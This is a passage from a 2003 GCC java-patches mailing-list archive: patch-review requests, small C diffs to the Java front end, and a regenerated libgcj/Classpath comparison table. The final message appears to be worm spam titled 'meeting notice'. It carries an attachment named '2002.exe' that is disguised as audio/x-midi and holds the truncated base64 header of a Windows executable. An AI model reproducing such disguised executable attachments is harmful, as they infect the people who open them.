(GNU/Linux) Comment: Que du magnifique iD8DBQE+aFaY+e1AKnsTRiERAw2SAJ4wuOhnLv/9mDMoEjJbgw/7BNXcZgCgiGVA k5nsr9GL9pMcPFcDLjcu+yA=3D =3DDicp -----END PGP SIGNATURE----- From java-patches-return-6381-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 07 10:38:48 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 25666 invoked by alias); 7 Mar 2003 10:38:48 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 25657 invoked from network); 7 Mar 2003 10:38:47 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 7 Mar 2003 10:38:47 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-3.rdu.redhat.com [172.16.50.3]) by executor.cambridge.redhat.com (Postfix) with ESMTP id C5126ABB06; Fri, 7 Mar 2003 10:38:45 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h27AcQR12889; Fri, 7 Mar 2003 10:38:26 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15976.30370.141842.752106@cuddles.cambridge.redhat.com> Date: Fri, 7 Mar 2003 10:38:26 +0000 (GMT) To: "Ranjit Mathew" , Subject: Outstanding patches I might have some time this weekend to look at outstanding patches. Please remind me of any patches that want attention. Andrew. From java-patches-return-6382-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 07 11:11:48 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4598 invoked by alias); 7 Mar 2003 11:11:48 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4591 invoked from network); 7 Mar 2003 11:11:47 -0000 Received: from unknown (HELO hotmail.com) (64.4.20.41) by 172.16.49.205 with SMTP; 7 Mar 2003 11:11:47 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 7 Mar 2003 03:11:47 -0800 X-Originating-IP: [148.87.1.171] Reply-To: "Ranjit Mathew" From: "Ranjit Mathew" To: References: <15976.30370.141842.752106@cuddles.cambridge.redhat.com> Subject: Re: Outstanding patches Date: Fri, 7 Mar 2003 16:43:29 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1123 Message-ID: X-OriginalArrivalTime: 07 Mar 2003 11:11:47.0021 (UTC) FILETIME=[57E04FD0:01C2E49A] > I might have some time this weekend to look at outstanding patches. > > Please remind me of any patches that want attention. That would be very nice of you. I have the following for your review, if possible: http://gcc.gnu.org/ml/java-patches/2003-q1/msg00541.html http://gcc.gnu.org/ml/java/2003-02/msg00266.html In addition, I noticed that the following is desirable: Index: ChangeLog from Ranjit Mathew * jcf-parse.c (set_source_filename): Use COMPARE_FILENAMES instead of strcmp to compare file names. Use IS_DIR_SEPARATOR instead of directly comparing to '/' and '\\'. * jcf-write.c (generate_classfile): Use IS_DIR_SEPARATOR instead of directly comparing to '/' and '\\'. Index: jcf-parse.c =================================================================== --- jcf-parse.c Fri Mar 7 16:28:55 2003 +++ jcf-parse.c Fri Mar 7 16:30:57 2003 @@ -139,7 +139,6 @@ if it has a directory prefix, but otherwise matches sfname. */ if (old_len > new_len - && strcmp (sfname, input_filename + old_len - new_len) == 0 - && (input_filename[old_len - new_len - 1] == '/' - || input_filename[old_len - new_len - 1] == '\\')) + && COMPARE_FILENAMES (sfname, input_filename + old_len - new_len) == 0 + && IS_DIR_SEPARATOR (input_filename[old_len - new_len - 1])) return; } Index: jcf-write.c =================================================================== --- jcf-write.c Fri Mar 7 16:32:57 2003 +++ jcf-write.c Fri Mar 7 16:33:32 2003 @@ -3094,5 +3094,5 @@ if (ch == '\0') break; - if (ch == '/' || ch == '\\') + if (IS_DIR_SEPARATOR (ch)) source_file = s+1; } From java-patches-return-6383-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 07 12:17:53 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31724 invoked by alias); 7 Mar 2003 12:17:53 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31717 invoked from network); 7 Mar 2003 12:17:53 -0000 Received: from unknown (HELO hotmail.com) (64.4.20.200) by 172.16.49.205 with SMTP; 7 Mar 2003 12:17:53 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 7 Mar 2003 04:17:52 -0800 X-Originating-IP: [148.87.1.171] Reply-To: "Ranjit Mathew" From: "Ranjit Mathew" To: References: <15976.30370.141842.752106@cuddles.cambridge.redhat.com> Subject: Re: Outstanding patches Date: Fri, 7 Mar 2003 17:49:35 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1123 Message-ID: X-OriginalArrivalTime: 07 Mar 2003 12:17:52.0493 (UTC) FILETIME=[937B51D0:01C2E4A3] > > I might have some time this weekend to look at outstanding patches. > > > > Please remind me of any patches that want attention. > [...] > In addition, I noticed that the following is desirable: ...as are the following (trivial) changes: (I wanted to make similar changes in "jvspec.c" where it looks for ".zip", ".jar" and ".java" file extensions on the command line, but it doesn't include "jcf.h" - more importantly however, Sun's JDK 1.4.1 does not accept "Foo.JAVA" on Win32 instead of "Foo.java" on the javac command line, so this is not needed anyways. Weirdly though, it does accept "foo.java".) Index: ChangeLog from Ranjit Mathew * jcf-io.c (opendir_in_zip): Use COMPARE_FILENAMES instead of strcmp to compare file names. (compare_path): Likewise. (memoized_dirlist_lookup_eq): Likewise. Index: jcf-io.c =================================================================== --- jcf-io.c Fri Mar 7 17:03:06 2003 +++ jcf-io.c Fri Mar 7 17:12:22 2003 @@ -113,5 +113,5 @@ for (zipf = SeenZipFiles; zipf != NULL; zipf = zipf->next) { - if (strcmp (zipf->name, zipfile) == 0) + if (COMPARE_FILENAMES (zipf->name, zipfile) == 0) return zipf; } @@ -284,6 +284,6 @@ compare_path (const void *key, const void *entry) { - return strcmp ((const char *) key, - (*((const struct dirent **) entry))->d_name); + return COMPARE_FILENAMES ((const char *) key, + (*((const struct dirent **) entry))->d_name); } @@ -318,6 +318,6 @@ memoized_dirlist_lookup_eq (const void *entry, const void *key) { - return strcmp ((const char *) key, - ((const memoized_dirlist_entry *) entry)->dir) == 0; + return COMPARE_FILENAMES ((const char *) key, + ((const memoized_dirlist_entry *) entry)->dir) == 0; } From java-patches-return-6384-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 07 12:24:14 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 2678 invoked by alias); 7 Mar 2003 12:24:14 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2671 invoked from network); 7 Mar 2003 12:24:13 -0000 Received: from unknown (HELO hotmail.com) (64.4.20.97) by 172.16.49.205 with SMTP; 7 Mar 2003 12:24:13 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 7 Mar 2003 04:24:13 -0800 X-Originating-IP: [148.87.1.171] Reply-To: "Ranjit Mathew" From: "Ranjit Mathew" To: References: <15976.30370.141842.752106@cuddles.cambridge.redhat.com> Subject: Re: Outstanding patches Date: Fri, 7 Mar 2003 17:55:56 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1123 Message-ID: X-OriginalArrivalTime: 07 Mar 2003 12:24:13.0258 (UTC) FILETIME=[766F72A0:01C2E4A4] Uggghhh! I just noticed (after posting) that my mailer (Outlook Express 6.0) has converted the leading TABs in my ChangeLog entries to single spaces! Awfully sorry for this!! (I *swear* I used TABs while preparing this - if you wish, I'll repost them again, if acceptable, as attachments instead.) :-( Ranjit. From java-patches-return-6385-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 07 18:06:52 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16794 invoked by alias); 7 Mar 2003 18:06:51 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16776 invoked from network); 7 Mar 2003 18:06:51 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 7 Mar 2003 18:06:51 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAB14247; Fri, 7 Mar 2003 11:06:47 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 1120E4F8610; Fri, 7 Mar 2003 10:59:28 -0700 (MST) To: java-patches@gcc.gnu.org Cc: Gcc Patch List Subject: Patch: FYI: libgcj/classpath comparison From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I am having a CONCEPTION-- Date: 07 Mar 2003 10:59:28 -0700 Message-ID: <87zno7vz0f.fsf@fleche.redhat.com> Lines: 343 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in. We should be seeing these a bit more frequently now. I regenerate this info as part of my nightly build. Tom Index: ChangeLog from Tom Tromey * libgcj-classpath-compare.html: Rebuilt. Index: libgcj-classpath-compare.html =================================================================== RCS file: /cvs/gcc/wwwdocs/htdocs/java/libgcj-classpath-compare.html,v retrieving revision 1.62 diff -u -r1.62 libgcj-classpath-compare.html --- libgcj-classpath-compare.html 21 Feb 2003 02:14:21 -0000 1.62 +++ libgcj-classpath-compare.html 7 Mar 2003 18:05:25 -0000 @@ -8,7 +8,7 @@

          This page compares the "current" cvs libgcj against the "current" cvs Classpath. It was generated using the gen-classpath-compare script (available in gcc cvs repository in wwwdocs/bin/) on -2003-02-20. +2003-03-07. This table intentionally omits certain classes which are not of interest. If the third column shows a "Diff" link, then that means the script believes that the class has been merged, but a difference @@ -21,137 +21,6 @@ gnu.java.awt.image.GdkPixbufDecoder No Yes No gnu.java.awt.image.GtkOffScreenDecoder No Yes No gnu.java.awt.peer.gtk.GtkToolkit Yes Yes Diff - gnu.java.locale.LocaleInformation_af_ZA Yes Yes No - gnu.java.locale.LocaleInformation_ar_AE Yes Yes No - gnu.java.locale.LocaleInformation_ar_BH Yes Yes No - gnu.java.locale.LocaleInformation_ar_DZ Yes Yes No - gnu.java.locale.LocaleInformation_ar_EG Yes Yes No - gnu.java.locale.LocaleInformation_ar_IN Yes Yes No - gnu.java.locale.LocaleInformation_ar_IQ Yes Yes No - gnu.java.locale.LocaleInformation_ar_JO Yes Yes No - gnu.java.locale.LocaleInformation_ar_KW Yes Yes No - gnu.java.locale.LocaleInformation_ar_LB Yes Yes No - gnu.java.locale.LocaleInformation_ar_LY Yes Yes No - gnu.java.locale.LocaleInformation_ar_MA Yes Yes No - gnu.java.locale.LocaleInformation_ar_OM Yes Yes No - gnu.java.locale.LocaleInformation_ar_QA Yes Yes No - gnu.java.locale.LocaleInformation_ar_SD Yes Yes No - gnu.java.locale.LocaleInformation_ar_SY Yes Yes No - gnu.java.locale.LocaleInformation_ar_TN Yes Yes No - gnu.java.locale.LocaleInformation_ar_YE Yes Yes No - gnu.java.locale.LocaleInformation_be_BY Yes Yes No - gnu.java.locale.LocaleInformation_bn_IN Yes Yes No - gnu.java.locale.LocaleInformation_br_FR Yes Yes No - gnu.java.locale.LocaleInformation_bs_BA Yes Yes No - gnu.java.locale.LocaleInformation_ca_ES Yes Yes No - gnu.java.locale.LocaleInformation_cs_CZ Yes Yes No - gnu.java.locale.LocaleInformation_cy_GB Yes Yes No - gnu.java.locale.LocaleInformation_da_DK Yes Yes No - gnu.java.locale.LocaleInformation_de_AT Yes Yes No - gnu.java.locale.LocaleInformation_de_BE Yes Yes No - gnu.java.locale.LocaleInformation_de_CH Yes Yes No - gnu.java.locale.LocaleInformation_de_DE Yes Yes No - gnu.java.locale.LocaleInformation_de_LU Yes Yes No - gnu.java.locale.LocaleInformation_el_GR Yes Yes No - gnu.java.locale.LocaleInformation_en_AU Yes Yes No - gnu.java.locale.LocaleInformation_en_BW Yes Yes No - gnu.java.locale.LocaleInformation_en_CA Yes Yes No - gnu.java.locale.LocaleInformation_en_DK Yes Yes No - gnu.java.locale.LocaleInformation_en_GB Yes Yes No - gnu.java.locale.LocaleInformation_en_HK Yes Yes No - gnu.java.locale.LocaleInformation_en_IE Yes Yes No - gnu.java.locale.LocaleInformation_en_IN Yes Yes No - gnu.java.locale.LocaleInformation_en_NZ Yes Yes No - gnu.java.locale.LocaleInformation_en_PH Yes Yes No - gnu.java.locale.LocaleInformation_en_SG Yes Yes No - gnu.java.locale.LocaleInformation_en_US Yes Yes No - gnu.java.locale.LocaleInformation_en_ZA Yes Yes No - gnu.java.locale.LocaleInformation_en_ZW Yes Yes No - gnu.java.locale.LocaleInformation_es_AR Yes Yes No - gnu.java.locale.LocaleInformation_es_BO Yes Yes No - gnu.java.locale.LocaleInformation_es_CL Yes Yes No - gnu.java.locale.LocaleInformation_es_CO Yes Yes No - gnu.java.locale.LocaleInformation_es_CR Yes Yes No - gnu.java.locale.LocaleInformation_es_DO Yes Yes No - gnu.java.locale.LocaleInformation_es_EC Yes Yes No - gnu.java.locale.LocaleInformation_es_ES Yes Yes No - gnu.java.locale.LocaleInformation_es_GT Yes Yes No - gnu.java.locale.LocaleInformation_es_HN Yes Yes No - gnu.java.locale.LocaleInformation_es_MX Yes Yes No - gnu.java.locale.LocaleInformation_es_NI Yes Yes No - gnu.java.locale.LocaleInformation_es_PA Yes Yes No - gnu.java.locale.LocaleInformation_es_PE Yes Yes No - gnu.java.locale.LocaleInformation_es_PR Yes Yes No - gnu.java.locale.LocaleInformation_es_PY Yes Yes No - gnu.java.locale.LocaleInformation_es_SV Yes Yes No - gnu.java.locale.LocaleInformation_es_US Yes Yes No - gnu.java.locale.LocaleInformation_es_UY Yes Yes No - gnu.java.locale.LocaleInformation_es_VE Yes Yes No - gnu.java.locale.LocaleInformation_et_EE Yes Yes No - gnu.java.locale.LocaleInformation_eu_ES Yes Yes No - gnu.java.locale.LocaleInformation_fa_IR Yes Yes No - gnu.java.locale.LocaleInformation_fi_FI Yes Yes No - gnu.java.locale.LocaleInformation_fo_FO Yes Yes No - gnu.java.locale.LocaleInformation_fr_BE Yes Yes No - gnu.java.locale.LocaleInformation_fr_CA Yes Yes No - gnu.java.locale.LocaleInformation_fr_CH Yes Yes No - gnu.java.locale.LocaleInformation_fr_FR Yes Yes No - gnu.java.locale.LocaleInformation_fr_LU Yes Yes No - gnu.java.locale.LocaleInformation_ga_IE Yes Yes No - gnu.java.locale.LocaleInformation_gd_GB Yes Yes No - gnu.java.locale.LocaleInformation_gl_ES Yes Yes No - gnu.java.locale.LocaleInformation_gv_GB Yes Yes No - gnu.java.locale.LocaleInformation_he_IL Yes Yes No - gnu.java.locale.LocaleInformation_hi_IN Yes Yes No - gnu.java.locale.LocaleInformation_hr_HR Yes Yes No - gnu.java.locale.LocaleInformation_hu_HU Yes Yes No - gnu.java.locale.LocaleInformation_id_ID Yes Yes No - gnu.java.locale.LocaleInformation_it_CH Yes Yes No - gnu.java.locale.LocaleInformation_it_IT Yes Yes No - gnu.java.locale.LocaleInformation_iw_IL Yes Yes No - gnu.java.locale.LocaleInformation_ja_JP Yes Yes No - gnu.java.locale.LocaleInformation_ka_GE Yes Yes No - gnu.java.locale.LocaleInformation_kl_GL Yes Yes No - gnu.java.locale.LocaleInformation_ko_KR Yes Yes No - gnu.java.locale.LocaleInformation_kw_GB Yes Yes No - gnu.java.locale.LocaleInformation_lt_LT Yes Yes No - gnu.java.locale.LocaleInformation_lv_LV Yes Yes No - gnu.java.locale.LocaleInformation_mi_NZ Yes Yes No - gnu.java.locale.LocaleInformation_mk_MK Yes Yes No - gnu.java.locale.LocaleInformation_mr_IN Yes Yes No - gnu.java.locale.LocaleInformation_mt_MT Yes Yes No - gnu.java.locale.LocaleInformation_nl_BE Yes Yes No - gnu.java.locale.LocaleInformation_nl_NL Yes Yes No - gnu.java.locale.LocaleInformation_nn_NO Yes Yes No - gnu.java.locale.LocaleInformation_no_NO Yes Yes No - gnu.java.locale.LocaleInformation_oc_FR Yes Yes No - gnu.java.locale.LocaleInformation_pl_PL Yes Yes No - gnu.java.locale.LocaleInformation_pt_BR Yes Yes No - gnu.java.locale.LocaleInformation_pt_PT Yes Yes No - gnu.java.locale.LocaleInformation_ro_RO Yes Yes No - gnu.java.locale.LocaleInformation_ru_RU Yes Yes No - gnu.java.locale.LocaleInformation_ru_UA Yes Yes No - gnu.java.locale.LocaleInformation_se_NO Yes Yes No - gnu.java.locale.LocaleInformation_sk_SK Yes Yes No - gnu.java.locale.LocaleInformation_sl_SI Yes Yes No - gnu.java.locale.LocaleInformation_sq_AL Yes Yes No - gnu.java.locale.LocaleInformation_sr_YU Yes Yes No - gnu.java.locale.LocaleInformation_sv_FI Yes Yes No - gnu.java.locale.LocaleInformation_sv_SE Yes Yes No - gnu.java.locale.LocaleInformation_ta_IN Yes Yes No - gnu.java.locale.LocaleInformation_te_IN Yes Yes No - gnu.java.locale.LocaleInformation_tg_TJ Yes Yes No - gnu.java.locale.LocaleInformation_tl_PH Yes Yes No - gnu.java.locale.LocaleInformation_tr_TR Yes Yes No - gnu.java.locale.LocaleInformation_uk_UA Yes Yes No - gnu.java.locale.LocaleInformation_ur_PK Yes Yes No - gnu.java.locale.LocaleInformation_uz_UZ Yes Yes No - gnu.java.locale.LocaleInformation_vi_VN Yes Yes No - gnu.java.locale.LocaleInformation_yi_US Yes Yes No - gnu.java.locale.LocaleInformation_zh_CN Yes Yes No - gnu.java.locale.LocaleInformation_zh_HK Yes Yes No - gnu.java.locale.LocaleInformation_zh_SG Yes Yes No - gnu.java.locale.LocaleInformation_zh_TW Yes Yes No gnu.java.nio.ByteBufferImpl Yes Yes Diff gnu.java.nio.CharBufferImpl Yes Yes Diff gnu.java.nio.DatagramChannelImpl Yes Yes Diff @@ -161,7 +30,7 @@ gnu.java.nio.FloatBufferImpl Yes Yes Diff gnu.java.nio.IntBufferImpl Yes Yes Diff gnu.java.nio.LongBufferImpl Yes Yes Diff - gnu.java.nio.MappedByteFileBuffer No Yes No + gnu.java.nio.MappedByteFileBuffer Yes Yes Diff gnu.java.nio.MappedCharFileBuffer No Yes No gnu.java.nio.MappedDoubleFileBuffer No Yes No gnu.java.nio.MappedFloatFileBuffer No Yes No @@ -181,73 +50,59 @@ gnu.javax.rmi.CORBA.UtilDelegateImpl No Yes No gnu.javax.rmi.CORBA.ValueHandlerImpl No Yes No gnu.javax.rmi.PortableServer No Yes No - java.awt.Graphics2D Yes Yes Diff - java.awt.ScrollPaneAdjustable Yes Yes Diff java.awt.Toolkit Yes Yes Diff + java.io.DataInputStream Yes Yes Diff java.io.DataOutputStream Yes Yes No + java.io.File Yes Yes No java.io.FileDescriptor Yes Yes No java.io.FileInputStream Yes Yes No - java.io.File Yes Yes No java.io.FileOutputStream Yes Yes No java.io.InputStreamReader Yes Yes No java.io.LineNumberReader Yes Yes No java.io.ObjectInputStream Yes Yes Diff - java.io.ObjectOutputStream Yes Yes Diff - java.io.ObjectStreamField Yes Yes Diff java.io.OutputStreamWriter Yes Yes No java.io.PrintStream Yes Yes No java.io.RandomAccessFile Yes Yes No - java.io.VMObjectStreamClass Yes No Yes + java.io.VMObjectStreamClass Yes VM-specific   java.lang.Character Yes Yes Diff - java.lang.Class Yes No No + java.lang.Class Yes VM-specific   java.lang.ClassLoader Yes Yes Diff java.lang.EcosProcess Yes No No + java.lang.Math Yes Yes Diff java.lang.Object Yes Yes No java.lang.Package Yes Yes Diff java.lang.PosixProcess Yes No No - java.lang.reflect.Array Yes Yes No - java.lang.reflect.Constructor Yes No No - java.lang.reflect.Field Yes No No - java.lang.reflect.Method Yes No No - java.lang.reflect.Modifier Yes Yes Diff - java.lang.reflect.Proxy Yes Yes Diff - java.lang.ref.Reference Yes Yes Diff - java.lang.Runtime Yes No Yes + java.lang.Runtime Yes VM-specific   java.lang.SecurityManager Yes Yes Diff - java.lang.StringBuffer Yes Yes Diff java.lang.String Yes Yes No + java.lang.StringBuffer Yes Yes Diff java.lang.System Yes Yes Diff - java.lang.Thread Yes No No - java.lang.VMClassLoader Yes No No - java.lang.VMSecurityManager Yes No No - java.lang.VMThrowable Yes No Yes + java.lang.Thread Yes VM-specific   + java.lang.VMClassLoader Yes VM-specific   + java.lang.VMSecurityManager Yes VM-specific   + java.lang.VMThrowable Yes VM-specific   java.lang.Win32Process Yes No No + java.lang.ref.Reference Yes Yes Diff + java.lang.reflect.Array Yes Yes No + java.lang.reflect.Constructor Yes VM-specific   + java.lang.reflect.Field Yes VM-specific   + java.lang.reflect.Method Yes VM-specific   + java.lang.reflect.Modifier Yes Yes Diff + java.lang.reflect.Proxy Yes Yes Diff java.net.DatagramSocket Yes Yes Diff java.net.InetAddress Yes Yes No java.net.JarURLConnection Yes Yes No java.net.MimeTypeMapper No Yes No - java.net.NetPermission Yes Yes Diff - java.net.NetworkInterface Yes Yes Diff java.net.PlainDatagramSocketImpl Yes Yes No java.net.PlainSocketImpl Yes Yes No java.net.SocketInputStream No Yes No - java.net.Socket Yes Yes Diff java.net.SocketOutputStream No Yes No java.net.URI Yes Yes Diff - java.net.URLConnection Yes Yes No java.net.URL Yes Yes Diff - java.net.URLStreamHandler Yes Yes Diff + java.net.URLConnection Yes Yes No java.nio.Buffer Yes Yes Diff java.nio.ByteBuffer Yes Yes Diff - java.nio.channels.Channels Yes Yes Diff - java.nio.channels.DatagramChannel Yes Yes Diff - java.nio.channels.FileChannel Yes Yes Diff - java.nio.channels.spi.SelectorProvider Yes Yes Diff java.nio.CharBuffer Yes Yes Diff - java.nio.charset.CharsetEncoder Yes Yes Diff - java.nio.charset.Charset Yes Yes Diff - java.nio.charset.IllegalCharsetNameException Yes Yes Diff - java.nio.charset.UnsupportedCharsetException Yes Yes Diff java.nio.DoubleBuffer Yes Yes Diff java.nio.FloatBuffer Yes Yes Diff java.nio.IntBuffer Yes Yes Diff @@ -258,6 +113,7 @@ java.text.CollationKey Yes Yes No java.text.Collator Yes Yes Diff java.text.RuleBasedCollator Yes Yes No + java.util.ResourceBundle Yes Yes Diff java.util.logging.ConsoleHandler No Yes No java.util.logging.ErrorManager No Yes No java.util.logging.FileHandler No Yes No @@ -265,32 +121,60 @@ java.util.logging.Formatter No Yes No java.util.logging.Handler No Yes No java.util.logging.Level No Yes No - java.util.logging.Logger No Yes No - java.util.logging.LoggingPermission No Yes No java.util.logging.LogManager No Yes No java.util.logging.LogRecord No Yes No + java.util.logging.Logger No Yes No + java.util.logging.LoggingPermission No Yes No java.util.logging.MemoryHandler No Yes No java.util.logging.SimpleFormatter No Yes No java.util.logging.SocketHandler No Yes No java.util.logging.StreamHandler No Yes No java.util.logging.XMLFormatter No Yes No - java.util.ResourceBundle Yes Yes Diff + java.util.zip.Deflater Yes Yes Diff java.util.zip.DeflaterConstants No Yes No java.util.zip.DeflaterEngine No Yes No java.util.zip.DeflaterHuffman No Yes No - java.util.zip.Deflater Yes Yes Diff java.util.zip.DeflaterOutputStream Yes Yes Diff java.util.zip.DeflaterPending No Yes No java.util.zip.GZIPInputStream Yes Yes Diff java.util.zip.GZIPOutputStream Yes Yes Diff + java.util.zip.Inflater Yes Yes Diff java.util.zip.InflaterDynHeader No Yes No java.util.zip.InflaterHuffmanTree No Yes No java.util.zip.InflaterInputStream Yes Yes Diff - java.util.zip.Inflater Yes Yes Diff java.util.zip.OutputWindow No Yes No java.util.zip.PendingBuffer No Yes No java.util.zip.StreamManipulator No Yes No - java.util.zip.ZipFile Yes Yes Diff + javax.xml.parsers.ClassStuff No Yes No + javax.xml.parsers.DocumentBuilder No Yes No + javax.xml.parsers.DocumentBuilderFactory No Yes No + javax.xml.parsers.FactoryConfigurationError No Yes No + javax.xml.parsers.ParserConfigurationException No Yes No + javax.xml.parsers.SAXParser No Yes No + javax.xml.parsers.SAXParserFactory No Yes No + javax.xml.transform.ClassStuff No Yes No + javax.xml.transform.ErrorListener No Yes No + javax.xml.transform.OutputKeys No Yes No + javax.xml.transform.Result No Yes No + javax.xml.transform.Source No Yes No + javax.xml.transform.SourceLocator No Yes No + javax.xml.transform.Templates No Yes No + javax.xml.transform.Transformer No Yes No + javax.xml.transform.TransformerConfigurationException No Yes No + javax.xml.transform.TransformerException No Yes No + javax.xml.transform.TransformerFactory No Yes No + javax.xml.transform.TransformerFactoryConfigurationError No Yes No + javax.xml.transform.URIResolver No Yes No + javax.xml.transform.dom.DOMLocator No Yes No + javax.xml.transform.dom.DOMResult No Yes No + javax.xml.transform.dom.DOMSource No Yes No + javax.xml.transform.sax.SAXResult No Yes No + javax.xml.transform.sax.SAXSource No Yes No + javax.xml.transform.sax.SAXTransformerFactory No Yes No + javax.xml.transform.sax.TemplatesHandler No Yes No + javax.xml.transform.sax.TransformerHandler No Yes No + javax.xml.transform.stream.StreamResult No Yes No + javax.xml.transform.stream.StreamSource No Yes No From java-patches-return-6386-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 07 18:48:16 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 29857 invoked by alias); 7 Mar 2003 18:48:15 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 29843 invoked from network); 7 Mar 2003 18:48:12 -0000 Received: from unknown (HELO relay-4m.club-internet.fr) (194.158.104.43) by 172.16.49.205 with SMTP; 7 Mar 2003 18:48:12 -0000 Received: from Ote (lxxx-4-44.n.club-internet.fr [213.44.8.44]) by relay-4m.club-internet.fr (Postfix) with SMTP id 1E6B8E6B1 for ; Fri, 7 Mar 2003 19:47:46 +0100 (CET) From: bod To: java-patches@gcc.gnu.org Subject: Hi,java-patches,meeting notice MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=R5rVE7iQ32P509HB06b08m1T0hyi5bRw08 Message-Id: <20030307184746.1E6B8E6B1@relay-4m.club-internet.fr> Date: Fri, 7 Mar 2003 19:47:46 +0100 (CET) --R5rVE7iQ32P509HB06b08m1T0hyi5bRw08 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --R5rVE7iQ32P509HB06b08m1T0hyi5bRw08 Content-Type: audio/x-midi; name=2002.exe Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 